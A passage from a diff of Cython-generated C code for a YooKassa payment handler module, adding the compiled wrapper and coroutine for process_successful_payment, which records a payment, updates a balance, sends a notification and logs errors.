PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_successful_payment (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_user_id,&__pyx_n_s_amount,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_user_id)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 235, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_amount)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 235, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_successful_payment", 1, 2, 2, 1); __PYX_ERR(0, 235, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_successful_payment") < 0)) __PYX_ERR(0, 235, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_user_id = values[0]; + __pyx_v_amount = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_successful_payment", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 235, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_successful_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yookassa_pay_9process_successful_payment(__pyx_self, __pyx_v_user_id, __pyx_v_amount); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_9process_successful_payment(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_user_id, PyObject *__pyx_v_amount) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_successful_payment", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 235, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_user_id = __pyx_v_user_id; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_user_id); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_user_id); + __pyx_cur_scope->__pyx_v_amount = __pyx_v_amount; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_amount); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_amount); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_11generator3, __pyx_codeobj__14, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_successful_payment, __pyx_n_s_process_successful_payment, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 235, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_successful_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + unsigned int __pyx_t_7; + int __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + Py_ssize_t __pyx_t_12; + Py_UCS4 __pyx_t_13; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + char const *__pyx_t_16; + PyObject *__pyx_t_17 = NULL; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_successful_payment", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L10_resume_from_await; + case 2: goto __pyx_L11_resume_from_await; + case 3: goto __pyx_L12_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 235, __pyx_L1_error) + + { + __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_3); + /*try:*/ { + + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 240, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[4] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_user_id, __pyx_cur_scope->__pyx_v_amount, __pyx_n_u_yookassa_2}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 3+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 240, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L10_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 240, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 240, __pyx_L4_error) + } + } + + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 241, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_user_id, __pyx_cur_scope->__pyx_v_amount}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 241, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L11_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 241, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 241, __pyx_L4_error) + } + } + + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 242, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_user_id, __pyx_cur_scope->__pyx_v_amount}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 242, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L12_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 242, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 242, __pyx_L4_error) + } + } + + } + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L9_try_end; + __pyx_L4_error:; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + + __pyx_t_8 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_8) { + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_successful_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_4, &__pyx_t_5, &__pyx_t_6) < 0) __PYX_ERR(0, 243, __pyx_L6_except_error) + __Pyx_XGOTREF(__pyx_t_4); + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_INCREF(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_v_e = __pyx_t_5; + /*try:*/ { + + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_logger); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 244, __pyx_L18_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_error); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 244, __pyx_L18_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = PyTuple_New(4); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 244, __pyx_L18_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_12 = 0; + __pyx_t_13 = 127; + __Pyx_INCREF(__pyx_kp_u__15); + __pyx_t_13 = (65535 > __pyx_t_13) ? 65535 : __pyx_t_13; + __pyx_t_12 += 43; + __Pyx_GIVEREF(__pyx_kp_u__15); + PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_kp_u__15); + __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 244, __pyx_L18_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_14); + __Pyx_GIVEREF(__pyx_t_14); + PyTuple_SET_ITEM(__pyx_t_10, 1, __pyx_t_14); + __pyx_t_14 = 0; + __Pyx_INCREF(__pyx_kp_u__16); + __pyx_t_12 += 2; + __Pyx_GIVEREF(__pyx_kp_u__16); + PyTuple_SET_ITEM(__pyx_t_10, 2, __pyx_kp_u__16); + __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 244, __pyx_L18_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_14); + __Pyx_GIVEREF(__pyx_t_14); + PyTuple_SET_ITEM(__pyx_t_10, 3, __pyx_t_14); + __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyUnicode_Join(__pyx_t_10, 4, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 244, __pyx_L18_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_11))) { + __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_11); + if (likely(__pyx_t_10)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_11); + __Pyx_INCREF(__pyx_t_10); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_11, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_10, __pyx_t_14}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 244, __pyx_L18_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L19; + } + __pyx_L18_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19) < 0)) __Pyx_ErrFetch(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __pyx_t_8 = __pyx_lineno; __pyx_t_15 = __pyx_clineno; __pyx_t_16 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_ExceptionReset(__pyx_t_20, __pyx_t_21, __pyx_t_22); + } + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_ErrRestore(__pyx_t_17, __pyx_t_18, __pyx_t_19); + __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; + __pyx_lineno = __pyx_t_8; __pyx_clineno = __pyx_t_15; __pyx_filename = __pyx_t_16; + goto __pyx_L6_except_error; + } + __pyx_L19:; + } + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + goto __pyx_L5_exception_handled; + } + goto __pyx_L6_except_error; + + __pyx_L6_except_error:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L1_error; + __pyx_L5_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + __pyx_L9_try_end:; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("process_successful_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_13process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yookassa_pay_13process_enter_custom_amount = {"process_enter_custom_amount", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yookassa_pay_13process_enter_custom_amount, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_13process_enter_custom_amount(PyObject *__pyx_self, #if CYTHON_METH_FASTCALL PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds #else @@ -8207,7 +7654,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 236, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 247, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -8215,14 +7662,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 236, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 247, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 236, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 247, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 236, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 247, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -8235,7 +7682,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - 